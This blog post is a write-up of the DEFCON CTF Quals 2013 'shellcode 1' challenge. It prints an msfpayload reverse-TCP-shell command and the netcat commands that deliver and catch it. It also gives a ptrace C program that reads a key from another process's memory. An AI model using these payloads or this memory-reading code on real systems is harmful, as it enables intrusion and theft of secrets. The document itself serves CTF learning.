DEFCON CTF Quals 2013 - shellcode 1

It was DEFCON Quals time again - this time with a new organizer: Legit Business Syndicate

We solved quite a few challenges and collected 48 points - this sadly was not enough to bring us into the top of the scoreboard, though.

One of the first challenges I worked on was shellcode 1 aka incest. This was a set of two 64 bit binaries that basically executed shellcode directly and read in the key file before - but with a twist. So here is the short write-up, even though it was not a very complicated challenge. We will save the more interesting write-ups for later :)

The wrapper - maw

The main service binary is called maw and does the usual listen-socket wrapping as shown in the screenshot below. However it also opens the key file and for handling the accepted client actually executes another binary called sis and tells it about the client socket fd and the open fd to the key file.

maw disassembly

The handler - sis

The sis binary is small and simple - it basically takes the fds from its arguments, then forks and the parent will read in the keyfile content and wait for a bit (15 seconds) and the child will read from the socket and jump into the received data - thus basically executing our sent shellcode.

sis disassembly

Thus the twist is that even with our shellcode running we can not see the key in memory, as it is only available in the other process. We thought that spawning a shell and attaching to that other process with a debugger would get the job done.

Alright, generate shellcode, send it over.

msfpayload linux/x64/shell_reverse_tcp LHOST=?.?.?.? LPORT=4445 R > shellcode.bin

nc incest.shallweplayaga.me 65535 < shellcode.bin

$ nc -vnlp 4445
listening on [any] 4445 ...
connect to [?.?.?.?] from (UNKNOWN) [54.224.177.78] 56776
id
uid=1001(maw) gid=1001(maw) groups=1001(maw)

Looking at the code of how the parent sis reads in the keyfile we can see that it allocates a buffer and writes its address to rbp-0x18 - so that should still be valid even during the sched_yield loop. Sadly at this point we had some problems attaching with gdb and thus did retrieve the key with a small ptrace binary of our own. I compiled the following code and copied it over to the service machine's tmp folder.

int main(int argc, char**argv) {
    int pid = atoi(argv[1]);
    long ptr_keystring, retval;
    struct user_regs_struct uregs;
    int i;

    memset(&uregs, 0, sizeof(uregs));

    ptrace(PTRACE_ATTACH, pid, 0, 0);
    ptrace(PTRACE_GETREGS, pid, NULL, &uregs);
    ptr_keystring = ptrace(PTRACE_PEEKTEXT, pid, (uregs.rbp)-0x18, NULL);
    printf("regs pid %d rbp %p val@rbp-0x18 %lx\n", pid, uregs.rbp, ptr_keystring);

    for (i=0; i<=48; i+=8) {
            retval = ptrace(PTRACE_PEEKTEXT, pid, ptr_keystring+i, NULL);
            printf("read %lx -> %lx\n", ptr_keystring+i, swap_int64(retval));
    }

    ptrace(PTRACE_DETACH, pid, 0, 0);
    return 0;
}

This basically attaches to the pid, gets the registers in order to know rbp, and then retrieves the address of the keyfile content buffer from rbp-0x18. Several PEEKs later we should have the key...

connect to [?.?.?.?] from (UNKNOWN) [54.224.177.78] 56783
/tmp/.oldeurope/pt $(cat /proc/$$/status | grep PPid | awk '{print $2}')
regs pid 2196 rbp 0x7fff97ef83b0 val@rbp-0x18 15ed010
read 15ed010 -> 546865206b657920
read 15ed018 -> 69733a206b333370
read 15ed020 -> 20697420696e2074
read 15ed028 -> 68652066616d696c
read 15ed030 -> 790a000000000000
read 15ed038 -> d10f020000000000
read 15ed040 -> 0

Now just print those hexdigits as ASCII:

>>> '546865206b65792069733a206b33337020697420696e207468652066616d696c790a000000000000'.decode('hex')
'The key is: k33p it in the family\n\x00\x00\x00\x00\x00\x00'

This was definitely a relatively easy challenge - not really about crafting shellcode, but nevertheless the twist of retrieving the key from the parent process was quite nice!

More write-ups to come soon...

-- mark

blogroll

social